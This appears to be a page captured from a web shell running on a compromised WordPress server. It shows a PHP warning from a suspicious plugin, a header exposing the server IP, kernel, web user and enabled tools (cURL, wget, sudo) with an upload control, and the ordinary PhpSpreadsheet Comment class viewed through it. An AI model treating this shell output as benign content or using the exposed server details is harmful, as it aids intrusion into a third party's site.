Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/wp-content/plugins/his-schedule/PhpSpreadsheet/ |
Upload File : |
<?php
namespace PhpOffice\PhpSpreadsheet;
use PhpOffice\PhpSpreadsheet\RichText\RichText;
class Comment implements IComparable
{
/**
* Author.
*
* @var string
*/
private $author;
/**
* Rich text comment.
*
* @var RichText
*/
private $text;
/**
* Comment width (CSS style, i.e. XXpx or YYpt).
*
* @var string
*/
private $width = '96pt';
/**
* Left margin (CSS style, i.e. XXpx or YYpt).
*
* @var string
*/
private $marginLeft = '59.25pt';
/**
* Top margin (CSS style, i.e. XXpx or YYpt).
*
* @var string
*/
private $marginTop = '1.5pt';
/**
* Visible.
*
* @var bool
*/
private $visible = false;
/**
* Comment height (CSS style, i.e. XXpx or YYpt).
*
* @var string
*/
private $height = '55.5pt';
/**
* Comment fill color.
*
* @var Style\Color
*/
private $fillColor;
/**
* Alignment.
*
* @var string
*/
private $alignment;
/**
* Create a new Comment.
*/
public function __construct()
{
// Initialise variables
$this->author = 'Author';
$this->text = new RichText();
$this->fillColor = new Style\Color('FFFFFFE1');
$this->alignment = Style\Alignment::HORIZONTAL_GENERAL;
}
/**
* Get Author.
*
* @return string
*/
public function getAuthor()
{
return $this->author;
}
/**
* Set Author.
*
* @param string $author
*
* @return Comment
*/
public function setAuthor($author)
{
$this->author = $author;
return $this;
}
/**
* Get Rich text comment.
*
* @return RichText
*/
public function getText()
{
return $this->text;
}
/**
* Set Rich text comment.
*
* @param RichText $pValue
*
* @return Comment
*/
public function setText(RichText $pValue)
{
$this->text = $pValue;
return $this;
}
/**
* Get comment width (CSS style, i.e. XXpx or YYpt).
*
* @return string
*/
public function getWidth()
{
return $this->width;
}
/**
* Set comment width (CSS style, i.e. XXpx or YYpt).
*
* @param string $width
*
* @return Comment
*/
public function setWidth($width)
{
$this->width = $width;
return $this;
}
/**
* Get comment height (CSS style, i.e. XXpx or YYpt).
*
* @return string
*/
public function getHeight()
{
return $this->height;
}
/**
* Set comment height (CSS style, i.e. XXpx or YYpt).
*
* @param string $value
*
* @return Comment
*/
public function setHeight($value)
{
$this->height = $value;
return $this;
}
/**
* Get left margin (CSS style, i.e. XXpx or YYpt).
*
* @return string
*/
public function getMarginLeft()
{
return $this->marginLeft;
}
/**
* Set left margin (CSS style, i.e. XXpx or YYpt).
*
* @param string $value
*
* @return Comment
*/
public function setMarginLeft($value)
{
$this->marginLeft = $value;
return $this;
}
/**
* Get top margin (CSS style, i.e. XXpx or YYpt).
*
* @return string
*/
public function getMarginTop()
{
return $this->marginTop;
}
/**
* Set top margin (CSS style, i.e. XXpx or YYpt).
*
* @param string $value
*
* @return Comment
*/
public function setMarginTop($value)
{
$this->marginTop = $value;
return $this;
}
/**
* Is the comment visible by default?
*
* @return bool
*/
public function getVisible()
{
return $this->visible;
}
/**
* Set comment default visibility.
*
* @param bool $value
*
* @return Comment
*/
public function setVisible($value)
{
$this->visible = $value;
return $this;
}
/**
* Get fill color.
*
* @return Style\Color
*/
public function getFillColor()
{
return $this->fillColor;
}
/**
* Set Alignment.
*
* @param string $alignment see Style\Alignment::HORIZONTAL_*
*
* @return Comment
*/
public function setAlignment($alignment)
{
$this->alignment = $alignment;
return $this;
}
/**
* Get Alignment.
*
* @return string
*/
public function getAlignment()
{
return $this->alignment;
}
/**
* Get hash code.
*
* @return string Hash code
*/
public function getHashCode()
{
return md5(
$this->author .
$this->text->getHashCode() .
$this->width .
$this->height .
$this->marginLeft .
$this->marginTop .
($this->visible ? 1 : 0) .
$this->fillColor->getHashCode() .
$this->alignment .
__CLASS__
);
}
/**
* Implement PHP __clone to create a deep clone, not just a shallow copy.
*/
public function __clone()
{
$vars = get_object_vars($this);
foreach ($vars as $key => $value) {
if (is_object($value)) {
$this->$key = clone $value;
} else {
$this->$key = $value;
}
}
}
/**
* Convert to string.
*
* @return string
*/
public function __toString()
{
return $this->text->getPlainText();
}
}